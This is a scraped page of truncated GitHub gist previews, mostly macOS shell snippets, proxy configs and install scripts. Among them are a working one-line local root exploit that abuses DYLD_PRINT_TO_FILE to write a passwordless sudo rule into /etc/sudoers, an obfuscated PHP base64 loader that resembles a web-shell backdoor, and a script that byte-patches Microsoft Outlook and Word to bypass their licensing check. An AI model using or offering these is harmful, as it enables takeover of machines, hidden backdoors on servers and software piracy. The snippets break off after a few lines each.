This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Index off | |
sudo mdutil -i off / | |
# Delete index | |
sudo mdutil -E / | |
# Index on | |
sudo mdutil -i on / |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function fo($gqewea, $mse) { | |
$wsjkoogm = ''; | |
for ($i=0; $i < strlen($gqewea); $i++) { | |
$wsjkoogm .= isset($mse[$gqewea[$i]]) ? $mse[$gqewea[$i]] : $gqewea[$i]; | |
} | |
$qbhalkrox="base64_decode";return $qbhalkrox($wsjkoogm);} | |
$yogbpoq = 'IMAL9BXfkNIZErBhSVXhNr3WkhSC7TbBtTa2Ja2p9Rb2NgmAeKzj'. | |
'DMXjNrBhSVXhShSC7wp2Ja2p9Rb2NgmAeKzjDRsQNrBQkRmxeMAWDAXH9RxAEhazFK4yK46fkNv'. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true | |
do | |
mv confdir-14B---/confdir-14B--- a | |
if [[ $? -ne 0 ]] | |
then | |
break | |
fi | |
rm -rf confdir-14B--- | |
mv a confdir-14B--- | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[General] | |
loglevel = notify | |
[Proxy] | |
Proxy = custom, 1.2.3.4, 443, rc4-md5, password, http://surge.run/SSEncrypt.module | |
[Rule] | |
DOMAIN-KEYWORD,google,Proxy,tcp-force | |
DOMAIN-KEYWORD,facebook,Proxy,tcp-force | |
DOMAIN-KEYWORD,youtube,Proxy,tcp-force |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[General] | |
loglevel = notify | |
[Proxy] | |
Proxy = shadowsocks, 1.2.3.4, 443, rc4-md5, password | |
[Rule] | |
DOMAIN-SUFFIX,appldnld.apple.com,DIRECT | |
DOMAIN-SUFFIX,adcdownload.apple.com,DIRECT | |
DOMAIN-SUFFIX,swcdn.apple.com,DIRECT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Linuxium's installation script for upgrading Ubuntu with Canonical's Z3735F customizations | |
if [ -d /target ]; then | |
echo "$0: Do not run this script from a LiveCD ... exiting." | |
exit | |
fi | |
DEFAULT_GATEWAY=`ip r | grep default | cut -d ' ' -f 3` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ME=`basename $0` | |
IS=$(nvram boot-args | awk '{ print $2 }' | grep rootless | cut -d= -f2) | |
if [ $# -lt 1 ]; then | |
if [ "$IS" == "1" ]; then | |
echo "Rootless mode currently active. Use $ME 0 to deactivate." | |
else | |
echo "rootless mode currently inactive. Use $ME 1 to activate." | |
fi | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo nvram boot-args="kext-dev-mode=1 rootless 0";sleep 1;sudo reboot | |
# sudo csrutil disable |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWORD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Patching Microsoft Office Outlook..." | |
sudo perl -i.bak -pe 's|\x00\x0F\xA3\xCA\x72\x02\x31\xC0|\x00\x0F\xA3\xCA\x72\x02\x90\x90|' /Applications/Microsoft\ Outlook.app/Contents/Frameworks/MicrosoftSetupUI.framework/Versions/Current/MicrosoftSetupUI | |
sudo codesign -f -s - /Applications/Microsoft\ Outlook.app/Contents/Frameworks/MicrosoftSetupUI.framework | |
echo "Patching Microsoft Office Word..." | |
sudo perl -i.bak -pe 's|\x00\x0F\xA3\xCA\x72\x02\x31\xC0|\x00\x0F\xA3\xCA\x72\x02\x90\x90|' /Applications/Microsoft\ Word.app/Contents/Frameworks/MicrosoftSetupUI.framework/Versions/Current/MicrosoftSetupUI | |
sudo codesign -f -s - /Applications/Microsoft\ Word.app/Contents/Frameworks/MicrosoftSetupUI.framework |